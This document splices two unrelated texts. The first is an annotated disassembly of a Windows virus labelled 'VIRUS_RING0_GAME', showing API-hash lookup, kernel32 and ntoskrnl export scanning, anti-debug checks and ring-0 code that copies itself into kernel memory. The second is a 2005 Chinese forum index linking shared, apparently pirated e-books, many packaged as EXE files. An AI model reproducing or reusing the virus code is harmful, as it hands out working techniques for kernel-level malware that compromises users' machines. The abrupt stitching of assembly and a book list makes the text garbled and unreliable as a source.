        db    0    ;  
        db    4    ;  
        db    0    ;  
        db  60h    ; `
        db    3    ;  
        db  80h    ; €
        db    0    ;  
        db    0    ;  
        db    0    ;  
        db    0    ;  
        db  2Ah    ; *
        db  46h    ; F
        db  44h    ; D
        db    0    ;  
        db  40h    ; @
        db    2    ;  
        db    0    ;  
        db    0    ;  
        db    0    ;  
        db    0    ;  
        db    0    ;  
        db    0    ;  
        db    0    ;  
        db    0    ;  
        db    0    ;  
        db    0    ;  
        db    0    ;  
============================
        db  4Bh    ; K
        db  45h    ; E
        db  52h    ; R
        db  4Eh    ; N
        db  45h    ; E
        db  4Ch    ; L
        db  33h    ; 3
        db  32h    ; 2
============================
kernel32_api_hash_code_table
============================
        dw 0F3D5h
        dw 1336h
        dw 8406h
        dw 4873h
        dw 0C6C7h
        dw 66F4h
        dw 837Fh
————————-
        dw 0            ; separator
=============================
KERNEL32.DLL
=============================
addr_LoadLibraryA dd 6C8h        ; later, the dword will    be used    for 
                    ; storing HANDLE of ZwOpenSection
addr_IsDebuggerPresent dd 77E6171Dh
addr_CreateFileA dd 77E6B66Dh
addr_CloseHandle dd 77E676F6h
addr_VirtualAlloc dd 77E67F50h
addr_MapViewOfFile dd 77E6D2D7h
addr_Sleep    dd 77E675E0h
=========================
        db  6Eh    ; n
        db  74h    ; t
        db  64h    ; d
        db  6Ch    ; l
        db  6Ch    ; l
        db  2Eh    ; .
        db  64h    ; d
        db  6Ch    ; l
=======================
        dw 0F092h
        dw 0BCC8h
        dw 0
ZwOpenSection    dd 77F86AD5h
ZwClose        dd 77F83763h
==============================
        db  41h    ; A
        db  44h    ; D
        db  56h    ; V
        db  41h    ; A
        db  50h    ; P
        db  49h    ; I
        db  33h    ; 3
        db  32h    ; 2
==============================
        dw 6313h
        dw 0DEA4h
        dw 39A9h
        dw 0
addr_GetSecurityInfo dd    77DC1B02h
addr_SetSecurityInfo dd    77DC1BA3h
addr_SetEntriesInAclA dd 77D92DB6h
; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪
==============================

VIRUS_RING0_GAME:
        pusha
        pushf
        cli
        call    $+5
        pop    ebp        ; ebp =    453AA4
        lea    edi, [ebp+0A8h]    ; 453B4C: "ntoskrnl"
        xor    edxedx
        mov    ebx, 80400000h
        mov    [edi+20h], edx
        nop
        nop
        nop
        call    seek_module_and_apis ; ;===========================================
                    ; ; input:
                    ; ;    edi -> HMODULE Name
                    ; ;    ebx -> HMODULE fuzzy addr in memory
                    ; ;===========================================
        cmp    [edi+20h], edx
        nop
        nop
        nop
        jz    loc_453B49
        cld
        mov    edx, [edi+24h]
        nop
        nop
        nop
        mov    edx, [edx+1]
        mov    eax, [edi+20h]
        nop
        nop
        nop
        mov    eax, [eax]
        mov    edi, [eax+edx*4]
        mov    ecx, [ebp+7Ch]
        nop
        nop
        nop
        mov    [ecx+5EBh], edi
        mov    byte ptr [ecx+5FFh], 0
        mov    ecxdr0
        cmp    ecx, 474E4159h    ; mask in memory?
        jz    short loc_453B49
        nop
        nop
        nop
        nop
        lea    edi, [eax+edx*4]
        push    4D59h
        push    30BEh
        nop
        push    0
        call    dword ptr [ebp+0D8h] ; maybe alloc a memory
        or    eaxeax
        jz    short loc_453B49
        nop
        nop
        nop
        nop
        push    edi
        mov    esi, 990000h
        push    esi
        mov    ediesi
        lea    esi, [ebp-3E1h]    ; 4536C3
        mov    ecx, 5EAh
        nop
        rep movsb
        pop    esi
        mov    edieax
        push    0BD4h
        nop
        pop    ecx
        rep movsb
        pop    edi
        add    eax, 5EAh
        mov    [edi], eax

loc_453B49:                ; CODE XREF: .text:00453AC3j
                    ; .text:00453AFAj .text:00453B18j
        popf
        popa
        retf
; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪
        db  6Eh    ; n        ; ntoskrnl
        db  74h    ; t
        db  6Fh    ; o
        db  73h    ; s
        db  6Bh    ; k
        db  72h    ; r
        db  6Eh    ; n
        db  6Ch    ; l
        dw 927Eh
        dw 75D8h
        dw 0B063h
        dw 9B3Ah
        dw 0C12Eh
        dw 90F8h
        dw 5B5Ah
        dw 0F72Eh
        dw 70EAh
        dw 2B7Ah
        dw 0BCC8h
        dw 0
        dd 8046D7A0h
        dd 80400A06h
        dd 8040120Ah
        dd 804016C6h
        dd 8046A6C0h
        dd 804A81C6h
        dd 804554E5h
        dd 8042D8A4h
        dd 8040141Ah
        dd 8040101Ah
        dd 80400986h
        dd 0

; 圹圹圹圹圹圹圹?S U B    R O U T    I N E 圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹

; ;===========================================
; ; input:
; ;    edi -> HMODULE Name
; ;    ebx -> HMODULE fuzzy addr in memory
; ;===========================================

seek_module_and_apis proc near        ; CODE XREF: start+26p    .text:0045395Ap
                    ; push_call_module_2+16p
                    ; .text:00453AB8p
        pusha
        pushf
        call    $+5
        pop    ebp        ; EBP =    453BA3
        push    ebp
        lea    eax, [ebp+6Ch]    ; seh handler for error: 453C0F
        nop
        nop
        nop
        push    eax
        xor    ecxecx
        push    dword ptr fs:[ecx]
        mov    fs:[ecx], esp    ; __try
        sub    ebx, 10000h

loop_to_seek_pe_module:            ; CODE XREF: seek_module_and_apis+31j
                    ; seek_module_and_apis+3Dj
                    ; seek_module_and_apis+53j
                    ; seek_module_and_apis+5Bj
        add    ebx, 10000h    ; ebx =    77E00000h
        cmp    ebx, 80500000h
        ja    short hKernel32_found_end

        cmp    word ptr [ebx],    5A4Dh ;    MZ
        jnz    short loop_to_seek_pe_module

        mov    eax, [ebx+3Ch]
        add    eaxebx
        cmp    word ptr [eax],    4550h ;    PE
        jnz    short loop_to_seek_pe_module


;==================================
; out:
;    eax - PE header pointer
;    ebx - hKernel32 (if correct)
;==================================
        mov    [ebp-1C9h], ebx    ; [4539DA] = hKernel32
        mov    eax, [eax+78h]
        add    eaxebx    ; eax -    Export table rva

        mov    edx, [eax+0Ch]
        add    edxebx    ; edx =    DLL Module Name    rva
        mov    ecx, [edi]    ; edi -> KERNEL32

;check pe_file_export_name == ’KERNEL32′?
        cmp    [edx], ecx
        jnz    short loop_to_seek_pe_module
        mov    ecx, [edi+4]
        cmp    [edx+4], ecx
        jnz    short loop_to_seek_pe_module
;===============================
; out:
;    eax - export table    rva
;    ebx - hKernel32
;===============================

hKernel32_found_end:            ; CODE XREF: seek_module_and_apis+2Aj
        xor    ecxecx
        pop    dword ptr fs:[ecx]
        pop    esi
        pop    esi        ; esi =    453BA3
                    ; edi =    453A36
        add    edi, 8        ; edi =    453A3E

;=======================================
; if hKernel32 found, ebx is hInstance,
; else ebx is NULL.
;=======================================
        or    ebxebx
        jz    short loc_453C0C
        call    seek_all_api    ; input:
                    ;   ecx    = 0
                    ;   esi    = 453BA3
                    ;   edi    = 453A3E

loc_453C0C:                ; CODE XREF: seek_module_and_apis+69j
        popf
        popa
        retn
seek_module_and_apis endp

; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪

seh_handler:
        call    $+5
        pop    eax
        lea    eax, [eax-5Ah]
        push    eax
        mov    eax, [esp+10h]
        pop    dword ptr [eax+0B8h]
        xor    eaxeax
        retn

; 圹圹圹圹圹圹圹?S U B    R O U T    I N E 圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹

; input:
;   ecx    = 0
;   esi    = 453BA3
;   edi    = 453A3E

seek_all_api    proc near        ; CODE XREF: seek_module_and_apis+6Bp

var_4        = dword    ptr -4

        cld
        dec    ecx        ; ecx =    0xffffffff
        push    eax
        xor    eaxeax
        repne scasw
        not    ecx
        dec    ecx
        push    ecx        ; length
        push    edi        ; 453A4E
        rep stosd        ; ZeroMemory
        pop    edi
        sub    edi, 4
        pop    ecx
        pop    eax
eax - export rva table
        mov    esi, [eax+20h]    ; Export function name directory rva
        add    esiebx
        mov    esi, [esi]
        add    esiebx
        xor    edxedx
        push    ecx

loc_453C47:                ; CODE XREF: seek_all_api+5Aj
        push    ecx

loc_453C48:                ; CODE XREF: seek_all_api+3Bj
        cmp    edx, [eax+18h]
        pop    ecx
        jz    short loc_453C82
        push    ecx
        inc    edx
        push    eax
        call    creat_hash_code_for_api_name ; 
                    ; =================================
                    ; input:
                    ;   esi    - api name
                    ; output:
                    ;   eax    - hash code for    the api
                    ; =================================
        push    edi        ; edi -    453a4a
        std
        mov    ecx, [esp+10h+var_4]
        repne scasw        ; only match low word hash code
        pop    edi
        pop    eax
        jnz    short loc_453C48
        push    edx
        dec    edx
        push    edi
        mov    edi, [eax+24h]
        add    ediebx
        movzx    edx, word ptr [edi+edx*2]
        mov    edi, [eax+1Ch]
        add    ediebx
        mov    edx, [edi+edx*4]
        add    edxebx
        pop    edi
        mov    [edi+ecx*4+4], edx
        pop    edx
        pop    ecx
        loop    loc_453C47

loc_453C82:                ; CODE XREF: seek_all_api+26j
        pop    ecx
        retn
seek_all_api    endp


; 圹圹圹圹圹圹圹?S U B    R O U T    I N E 圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹

; 
; =================================
; input:
;   esi    - api name
; output:
;   eax    - hash code for    the api
; =================================

creat_hash_code_for_api_name proc near    ; CODE XREF: seek_all_api+2Bp
        push    edx
        push    0FFFFFFFFh
        pop    edx
        cld

loc_453C89:                ; CODE XREF: creat_hash_code_for_api_name+24j
        lodsb
        or    alal
        jz    short loc_453CAA
        nop
        nop
        nop
        nop
        xor    dlal
        mov    al, 8

loc_453C96:                ; CODE XREF: creat_hash_code_for_api_name+22j
        shr    edx, 1
        jnb    short loc_453CA4
        nop
        nop
        nop
        nop
        xor    edx, 59414E47h

loc_453CA4:                ; CODE XREF: creat_hash_code_for_api_name+14j
        dec    al
        jnz    short loc_453C96
        jmp    short loc_453C89
; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪

loc_453CAA:                ; CODE XREF: creat_hash_code_for_api_name+8j
        xchg    eaxedx
        pop    edx
        retn
creat_hash_code_for_api_name endp

2005年06月14日

BBS: http://www.uushop.net/bbs2/simple/index.php/f54.html
IDX: http://www.uushop.net/bbs2/simple/index.php/t67526.html




..::我不知道::..中文论坛 -> 网友E书共享 -> 电子E书目录总索引(已完成)

80301 2005-06-14 14:29
已完成(6月14日更新),有的帖子重复了,也给做上了。

A  

118部言情小说精选
http://www.uushop.net/bbs2/read.php?tid=59077
《773恐怖系列》 作者: 张二 等
http://www.uushop.net/bbs2/read.php?tid=41867
罗森弄玉(阿里+风姿+朱颜血)全集(又一版)作者罗森(弄玉)exe
http://www.uushop.net/bbs2/read.php?tid=65419
《阿里布达年代祭》(1~19卷全) 作者:罗森.弄玉 【EXE】【YES出品】
http://www.uushop.net/bbs2/read.php?tid=60962
《暗黑之路》第一部,第二部第一五章
http://www.uushop.net/bbs2/read.php?tid=36132


B

《疤面人》(全) 作者:忆文
http://www.uushop.net/bbs2/read.php?tid=61906
《爸爸,我怀了你的孩子》
http://www.uushop.net/bbs2/read.php?tid=46177
《霸王神枪》
http://www.uushop.net/bbs2/read.php?tid=40983
《白狐天下》1~99章 作者:洛水
http://www.uushop.net/bbs2/read.php?tid=37094
《白手起家》(至 第二卷 第二十五章 软件) 作者:星空
http://www.uushop.net/bbs2/read.php?tid=34735
《被抛弃的神》(全本) 作者:地狱吸血鬼
http://www.uushop.net/bbs2/read.php?tid=66222
《被上苍诅咒的天才》(全) 作者:阿三瘦马
http://www.uushop.net/bbs2/read.php?tid=35009
《毕业那天我们一起失恋》(全) 作者:何员外 【EXE】
http://www.uushop.net/bbs2/read.php?tid=53082
《边荒传说》(全) 作者:黄易 【CHM】
http://www.uushop.net/bbs2/read.php?tid=52526
《边荒传说》(全)作者:黄易
http://www.uushop.net/bbs2/read.php?tid=51721
《边荒传说》(全)作者:黄易 [exe]
http://www.uushop.net/bbs2/read.php?tid=58622
《边荒传说》超精美带封面珍藏版
http://www.uushop.net/bbs2/read.php?tid=65195
《不死传说》作者:石三(第一部全,第二部1-11)[CHM]
http://www.uushop.net/bbs2/read.php?tid=60355
《不死邪神》(全本) 作者:江和【EXE】
http://www.uushop.net/bbs2/read.php?tid=49025


C  

《CS之赏金猎手》(全)作者:张 硕 mm
http://www.uushop.net/bbs2/read.php?tid=27980
《cs之神》.1~46(上部结局).作者:cs虾米
http://www.uushop.net/bbs2/read.php?tid=37902
《残缺书生》全本珍藏版 作者:萧瑟【EXE】
http://www.uushop.net/bbs2/read.php?tid=47865
《曹若冰武侠全集》典藏版v1.0 云中孤雁 制作
http://www.uushop.net/bbs2/read.php?tid=52757
《蝉翼剑》 1-14 集作者:何子丘【EXE】
http://www.uushop.net/bbs2/read.php?tid=48127
《长大成人——父亲送给十八岁儿子的礼物》(全)
http://www.uushop.net/bbs2/read.php?tid=58187
《长刀无痕》[正文 第一百六十四章 凌波仙子] 作者:狂沙
http://www.uushop.net/bbs2/read.php?tid=61798
《超神曲Ⅱ之【情侠•魔动】》(1-4集) 作者:蓝色幽默【EXE】
http://www.uushop.net/bbs2/read.php?tid=66727
《超越神》(第2卷第七章 来五定律上)作者:生死之剑
http://www.uushop.net/bbs2/read.php?tid=45020
《陈青云武侠全集》典藏版v1.0 云中孤雁制作
http://www.uushop.net/bbs2/read.php?tid=59306
《成都粉子》 (全本) 作者:深爱金莲
http://www.uushop.net/bbs2/read.php?tid=51494
《厨师天下》与《疤面人》(全本)
http://www.uushop.net/bbs2/read.php?tid=64258
《处女牧场》(1-4.3)作者:粘糕 EXE
http://www.uushop.net/bbs2/read.php?tid=52119
《创龙传》 作者:田中方树
http://www.uushop.net/bbs2/read.php?tid=35708
《创神天下》(全本)作者:舒志琪 [EBK+EXE](原创)
http://www.uushop.net/bbs2/read.php?tid=56365
《从春秋走向战国》(军事科幻小说)
http://www.uushop.net/bbs2/read.php?tid=23147
《村上春树全集》 作者:村上春树
http://www.uushop.net/bbs2/read.php?tid=13107


D

《大唐行镖》(全)
http://www.uushop.net/bbs2/read.php?tid=19022
《丹云武侠全集》典藏版v1.0--云中孤雁制作 【exe】
http://www.uushop.net/bbs2/read.php?tid=57424
《道缘仙儒 》(第1~更新到294章) 作者:鬼雨
http://www.uushop.net/bbs2/read.php?tid=63998
《谍变》【全】 作者:黯然销魂【EXE】
http://www.uushop.net/bbs2/read.php?tid=62147
《蝶舞大唐春》作者:传星(生命痕迹珍藏版)1-3.14[CHM]
http://www.uushop.net/bbs2/read.php?tid=50567
《东方白武侠小说合集》
http://www.uushop.net/bbs2/read.php?tid=66514
《东方英武侠全集》典藏版v1.0 云中孤雁制作【EXE】
http://www.uushop.net/bbs2/read.php?tid=64793
《东方玉武侠全集》典藏版v1.0—— 云中孤雁版
http://www.uushop.net/bbs2/read.php?tid=43736
《东胜神州志》(全1-17集)作者:紫渊[EXE]
http://www.uushop.net/bbs2/read.php?tid=62283
《独孤红武侠全集》典藏版v1.0--云中孤雁 制作 【EXE】
http://www.uushop.net/bbs2/read.php?tid=54787
《堕落的青春》[全] 作者:徐三 【EXE】
http://www.uushop.net/bbs2/read.php?tid=47532


E  

F

《飞象过河》 第1-8集 作者:慕岚无雪[EBK]
http://www.uushop.net/bbs2/read.php?tid=40382
《废都》作者:贾平凹
http://www.uushop.net/bbs2/read.php?tid=57068
《风流大唐》(1-85章)作者:变态【exe】
http://www.uushop.net/bbs2/read.php?tid=49459
《风流小神魔》(1-4.29)[EXE] 5.3更新
http://www.uushop.net/bbs2/read.php?tid=52221
《风流逸想》 作者-lancefree 1-13 EXE
http://www.uushop.net/bbs2/read.php?tid=49919
《风雨神州之纵横天下》(全)
http://www.uushop.net/bbs2/read.php?tid=17841
《风姿物语》(1-3部11卷全+外9篇)作者:罗森 CHM格式
http://www.uushop.net/bbs2/read.php?tid=29846


G  

《高庸武侠全集》典藏版v1.0-云中孤雁制作[exe]
http://www.uushop.net/bbs2/read.php?tid=58989
《高庸武侠小说集》 Ziggurat制作 [exe]
http://www.uushop.net/bbs2/read.php?tid=55275
《公孙梦武侠全集》典藏版v1.0 云中孤雁制作 【EXE】
http://www.uushop.net/bbs2/read.php?tid=66283
《公孙千羽武侠全集》典藏版v1.0 云中孤雁制
http://www.uushop.net/bbs2/read.php?tid=60555
《狗运战神 》(1-127章)作者:灵冰雨 chm
http://www.uushop.net/bbs2/read.php?tid=40987
《古龙全集典藏版》[EXE] 完美版
http://www.uushop.net/bbs2/read.php?tid=54426
《古龙作品全集》典藏版v1.0 云中孤雁 制作 【EXE】
http://www.uushop.net/bbs2/read.php?tid=51676
《股色股香》 作者 萧洪驰
http://www.uushop.net/bbs2/read.php?tid=52980
《光之子》全本 作者:唐家三少(EXE)
http://www.uushop.net/bbs2/read.php?tid=55148
《鬼谷子武侠全集》典藏版v1.0 ? 云中孤雁制作
http://www.uushop.net/bbs2/read.php?tid=63116


H  

《何乐不为》作者:何员外[EBK]+《长安乱》作者:韩寒
http://www.uushop.net/bbs2/read.php?tid=66405
《赫氏门徒》(1-19全) 作者:冷钻 【EXE封面典藏版】【YES出品】
http://www.uushop.net/bbs2/read.php?tid=65126
《红尘仙劫》(第1-11册)作者:狗狗执政官 [EXE]
http://www.uushop.net/bbs2/read.php?tid=66710
《红尘仙劫》(第1-9册)作者:狗狗执政官[原创][EBK+EXE]
http://www.uushop.net/bbs2/read.php?tid=48787
《红尘有梦》[第二百一十九章] 作者:永远的流浪者
http://www.uushop.net/bbs2/read.php?tid=61029
《红楼梦续篇各种版本电子书》
http://www.uushop.net/bbs2/read.php?tid=52455
《红楼遗秘》电子书 (1-92:郎情妾意)——6月13日更新作者:迷男
http://www.uushop.net/bbs2/read.php?tid=54566
《洪荒天子》(全)—龙人
http://www.uushop.net/bbs2/read.php?tid=52523
《虎威闯江湖》全 作者:李翎
http://www.uushop.net/bbs2/read.php?tid=54203
《花花恶少》第01-46章
http://www.uushop.net/bbs2/read.php?tid=25273
《花开堪折》【EXE】 作者:雪域倾情 (更新至第五篇 第三十八章 触目惊心)
http://www.uushop.net/bbs2/read.php?tid=64248
《花落红尘》全本 作者:佚名
http://www.uushop.net/bbs2/read.php?tid=14157
《花主仙娘.exe》(全)作者:巨龙生
http://www.uushop.net/bbs2/read.php?tid=55578
《还珠楼主武侠全集》作者:李寿民 典藏版【EXE】 云中孤雁 制作
http://www.uushop.net/bbs2/read.php?tid=53192
《幻梦唯心》到第三部第九集,作者-天音丝缕
http://www.uushop.net/bbs2/read.php?tid=48551
《幻世道(原名:道法自然)》[1-14卷]作者:忘我[原创]
http://www.uushop.net/bbs2/read.php?tid=52407
《幻世道》(第1-15集合集)作者:忘我【EXE】[原创]
http://www.uushop.net/bbs2/read.php?tid=54204
《黄金时代》 (作者-王小波)
http://www.uushop.net/bbs2/read.php?tid=7758
《黄易全集》典藏版-云中雁制作(压缩包在13、19、33楼还有)
http://www.uushop.net/bbs2/read.php?tid=52556
《黄鹰武侠全集》典藏版v1.0 云中孤雁 制作 【EXE】精品
http://www.uushop.net/bbs2/read.php?tid=54337


I  

J

《基地风云》作者:徐三(全本)
http://www.uushop.net/bbs2/read.php?tid=56910
《基因物语》 (1-65章) 作者:夏夜里的萤火虫
http://www.uushop.net/bbs2/read.php?tid=29529
《江和作品集》EXE 作者:江和
http://www.uushop.net/bbs2/read.php?tid=49167
《江湖奇侠传》 平江不肖生 著
http://www.uushop.net/bbs2/read.php?tid=36464
《江山绝色榜》(第一部全)作者:叶锋[EBK&EXE][原创]
http://www.uushop.net/bbs2/read.php?tid=43490
《江山绝色榜未删节版》电子书(全)
http://www.uushop.net/bbs2/read.php?tid=35827
《江山美人志》作者:瑞根(生命痕迹珍藏版)1—9.131(即第一篇完)[CHM]
http://www.uushop.net/bbs2/read.php?tid=59892
《狡猾的风水相师》(1~19卷全)--作者:焚摩 【EXE】【YES出品】
http://www.uushop.net/bbs2/read.php?tid=58504
《金钱美人》(第一部完)作者:八寸 【EXE转】
http://www.uushop.net/bbs2/read.php?tid=66814
《金庸全集》典藏2.1版–配图
http://www.uushop.net/bbs2/read.php?tid=65401
《精炎战记》全本 作者:天狗月炎
http://www.uushop.net/bbs2/read.php?tid=39985


K  

《狂神》(1~12册+13册中98~106章)作者:唐家三少【EXE】
http://www.uushop.net/bbs2/read.php?tid=57835
《狂神》(第一册-第十二册1-104章) 作者:唐家三少
http://www.uushop.net/bbs2/read.php?tid=57222
《狂神》第1-10(76)册 作者:唐家三少
http://www.uushop.net/bbs2/read.php?tid=48308


L  

《蓝疆帝月》(1-7 ) 作者:贵竹 [EBK+TXT]
http://www.uushop.net/bbs2/read.php?tid=55959
《蓝疆帝月》第1-7部[带封面] 作者:贵竹【玄幻】【EXE】
http://www.uushop.net/bbs2/read.php?tid=64476
《狼群》(1 - 102 章) 作者:刺血 exe
http://www.uushop.net/bbs2/read.php?tid=27450
《狼群》(1~120 )作者:刺血
http://www.uushop.net/bbs2/read.php?tid=65424
《狼图腾》,作者:姜戎
http://www.uushop.net/bbs2/read.php?tid=40907
《狼之联盟》作者:妞妞牛牛 [全本][精美chm电子书]
http://www.uushop.net/bbs2/read.php?tid=43724
《浪子江湖》(全) 作者:舒志淇 起点排行第5!
http://www.uushop.net/bbs2/read.php?tid=15925
《浪子江湖》(全)珍藏版。作者:舒志琪
http://www.uushop.net/bbs2/read.php?tid=60717
《李凉武侠全集》(全)作者:李凉
http://www.uushop.net/bbs2/read.php?tid=16159
《李凉武侠全集》典藏版v1.0 云中孤雁制作
http://www.uushop.net/bbs2/read.php?tid=58602
《李莫野武侠小说全集》
http://www.uushop.net/bbs2/read.php?tid=66955
《历史上最拽的十个女人》
http://www.uushop.net/bbs2/read.php?tid=13096
《炼金士》 作者:帅呆 新 已去链接 至五卷五章
http://www.uushop.net/bbs2/read.php?tid=65505
《恋恋风尘》 大学生的爱情生活
http://www.uushop.net/bbs2/read.php?tid=7819
《梁羽生武侠全集》典藏版——云中孤雁版
http://www.uushop.net/bbs2/read.php?tid=42904
《亮剑》(全)原著:都梁 制作:清溪流泉【EXE】
http://www.uushop.net/bbs2/read.php?tid=59722
《烈火寒灵 》(全) 作者:李沃
http://www.uushop.net/bbs2/read.php?tid=39962
《猎艳江湖梦》(第一集~第二十二集)电子书 作者:陈苦
http://www.uushop.net/bbs2/read.php?tid=48563
《猎艳江湖梦》(全)(wyslnhhh版) (个人空间高速下载)
http://www.uushop.net/bbs2/read.php?tid=58758
《灵动》(1—12集全)作者:火枪手 【原创】修改版【EXE】
http://www.uushop.net/bbs2/read.php?tid=56792
《灵狐戏江湖》(全 ? 超YY)
http://www.uushop.net/bbs2/read.php?tid=27092
《灵异女王-紫媚》ebk1-8作者: 紫乌鸦
http://www.uushop.net/bbs2/read.php?tid=62214
《灵异新世纪》 全本
http://www.uushop.net/bbs2/read.php?tid=64696
《令狐庸武侠合集》
http://www.uushop.net/bbs2/read.php?tid=64068
《刘慈欣作品集》云中孤雁制作 【EXE】
http://www.uushop.net/bbs2/read.php?tid=66087
《流氓女神 》 (1~第二卷 第十章) 作者 沉默奶牛
http://www.uushop.net/bbs2/read.php?tid=16887
《流氓三部曲》(全),包括<我就是流氓>,<流氓之风云再起>,<流花剑录卷>
http://www.uushop.net/bbs2/read.php?tid=14484
《柳残阳武侠全集》典藏版——云中孤雁版
http://www.uushop.net/bbs2/read.php?tid=38648
《柳轻侯的故事》 ? 作者:秦汉唐宋 (第1-19集第1章) [EXE]
http://www.uushop.net/bbs2/read.php?tid=47741
《龙魔传说》 (全本) 作者:紫天使 玄武居整理作品 【EBK】
http://www.uushop.net/bbs2/read.php?tid=28848
《龙枪》系列文集(EXE电子书)
http://www.uushop.net/bbs2/read.php?tid=24330
《龙人武侠全集》典藏版v1.0 云中孤雁制作
http://www.uushop.net/bbs2/read.php?tid=65884
《龙史》(第一部全)(制作:凌侠) (ebk)
http://www.uushop.net/bbs2/read.php?tid=61831
《龙使》(1–85章) 作者:闲来无事
http://www.uushop.net/bbs2/read.php?tid=44692
《龙翔记》 ? 作者:无极
http://www.uushop.net/bbs2/read.php?tid=42997
《龙战士传》 (1-23卷全) 作者:半只青蛙 【EXE】【YES】
http://www.uushop.net/bbs2/read.php?tid=64616
《乱空异谈》(1-120) ? 作者:乱语
http://www.uushop.net/bbs2/read.php?tid=65558
《裸兰大陆》精美电子书(全)
http://www.uushop.net/bbs2/read.php?tid=41434


M

《马荣成武侠全集》典藏版v1.0 云中孤雁制作
http://www.uushop.net/bbs2/read.php?tid=58763
《美人折腰》至第四卷第九章 作者:爱我是错的[EXE]
http://www.uushop.net/bbs2/read.php?tid=53276
《猛虎王朝》(正式版三十三集全) 作者:猛虎
http://www.uushop.net/bbs2/read.php?tid=61345
《猛龙过江》1~~225 作者- 骷髅精灵 【CHM】
http://www.uushop.net/bbs2/read.php?tid=60928
《梦回九七》  <全本>   作者:通灵者
http://www.uushop.net/bbs2/read.php?tid=47731
《梦之初始》 (全本.虚拟网游)作者:神之意愿[EXE](原创)
http://www.uushop.net/bbs2/read.php?tid=61179
《迷失大陆》
http://www.uushop.net/bbs2/read.php?tid=17849
《魔盗》(1-20集全) 作者:血珊瑚
http://www.uushop.net/bbs2/read.php?tid=60907
《魔盗》(第01-95章) 作者:血珊瑚【EXE】
http://www.uushop.net/bbs2/read.php?tid=44319
《魔道浪子》(1-6.91)作者-不破翔[EXE]更新到第6卷九一章
http://www.uushop.net/bbs2/read.php?tid=56234
《魔道浪子》作者:不破翔 (生命痕迹 珍藏版)1 – 47
http://www.uushop.net/bbs2/read.php?tid=49283
《魔法学徒》精美电子书(全)
http://www.uushop.net/bbs2/read.php?tid=41764
《魔幻星际》作者:流浪的蛤蟆(生命痕迹珍藏版)1-9集[CHM]
http://www.uushop.net/bbs2/read.php?tid=50123
《魔女天娇美人志》作者:潜龙(生命痕迹珍藏版)1-100 [CHM]
http://www.uushop.net/bbs2/read.php?tid=49769
《魔染梦土》(1~15章)作者:夏商【EXE】
http://www.uushop.net/bbs2/read.php?tid=57951
《魔师再现》第01第07卷第07章 作者:陶王
http://www.uushop.net/bbs2/read.php?tid=64649
《魔途》(全本虚拟网游) 作者:PP [exe+ebk](原创)
http://www.uushop.net/bbs2/read.php?tid=60110
《魔武士》作者:蓝晶(生命痕迹珍藏版)1—2.5.3[CHM]
http://www.uushop.net/bbs2/read.php?tid=60005
《魔系野种》(1-5册) 作者:蓝晶
http://www.uushop.net/bbs2/read.php?tid=23945
《末世血皇》(带封面电子书1-16) 作者:凌云雪 【EXE转帖】
http://www.uushop.net/bbs2/read.php?tid=64992
《殁世奇侠》(原 我的风格)至第二部第五集作者:减肥专家—yunfei79制作
http://www.uushop.net/bbs2/read.php?tid=66594
《墨余生武侠全集》典藏版 云中孤雁制作
http://www.uushop.net/bbs2/read.php?tid=67426
《慕容美武侠全集》典藏版v1.0--云中孤雁 制作 【EXE】
http://www.uushop.net/bbs2/read.php?tid=54600


N  

《拿什么拯救你,失控女友》 by-云中客
http://www.uushop.net/bbs2/read.php?tid=43953
《男人是这样炼成的》(全本) 作者:艺术总监 【EXE】
http://www.uushop.net/bbs2/read.php?tid=53349
《逆天邪传》至15集第一章 作者:jojo野郎
http://www.uushop.net/bbs2/read.php?tid=37409
《女生宿舍》1-5集全电子书(随时更新)作者:超级市场凶器
http://www.uushop.net/bbs2/read.php?tid=35518
《女娲界》(1-3卷) 作者:傲无常
http://www.uushop.net/bbs2/read.php?tid=65556


O  

P  

《痞子蔡作品集》 网上搜集 CHM版
http://www.uushop.net/bbs2/read.php?tid=29408
《飘来荡去》更新至下卷 第四十五章 作者:子非鱼 更新中
http://www.uushop.net/bbs2/read.php?tid=37380
《飘邈之旅》(全书) 作者:萧潜 【EXE】【YES个人珍藏版】
http://www.uushop.net/bbs2/read.php?tid=55942
《飘在北京》 作者:garycc(完全版) 【EXE】
http://www.uushop.net/bbs2/read.php?tid=66783


Q  

《七色梦幻》(全.虚拟网游)作者:百笑生 [EXE+EBK](原创)
http://www.uushop.net/bbs2/read.php?tid=59861
《七岁红》作者:西门大官人 ? 全本EXE
http://www.uushop.net/bbs2/read.php?tid=63094
《齐郎毒计争艳录》第01-21章
http://www.uushop.net/bbs2/read.php?tid=31739
《奇儒武侠全集》典藏版v1.0 云中孤雁 制作 【EXE】精品
http://www.uushop.net/bbs2/read.php?tid=54282
《千机变》 (全本.东方玄幻) 作者:金英[EXE](原创)
http://www.uushop.net/bbs2/read.php?tid=61710
《千年魔恋》又名《圣魔三部曲》–天照幸运(全本)
http://www.uushop.net/bbs2/read.php?tid=14501
《青蝠酒吧》 全 ? 作者:孔雀高飞 【ebk】
http://www.uushop.net/bbs2/read.php?tid=52563
《青涩回忆》(全)---大学爱情,喜欢的看一下。
http://www.uushop.net/bbs2/read.php?tid=27448
《情海浮云录》 1—9.3 电子书
http://www.uushop.net/bbs2/read.php?tid=51831
《情剑》全 CHM (生命痕迹 珍藏版)(二次修改版)
http://www.uushop.net/bbs2/read.php?tid=48902
《秋梦痕武侠全集》典藏版v1.0 云中孤雁 制作 【EXE】精品
http://www.uushop.net/bbs2/read.php?tid=53902
《曲线救国》 (全)
http://www.uushop.net/bbs2/read.php?tid=61004



R  

S  

《商业三国》至 第四章36节 作者:赤虎
http://www.uushop.net/bbs2/read.php?tid=54774
《上床吧,处女!》第1-83章 女人全包围 作者:星辰
http://www.uushop.net/bbs2/read.php?tid=36507
《上帝,我来自何方》(全本) 作者:范德彪 【EXE】【YES出品】
http://www.uushop.net/bbs2/read.php?tid=50293
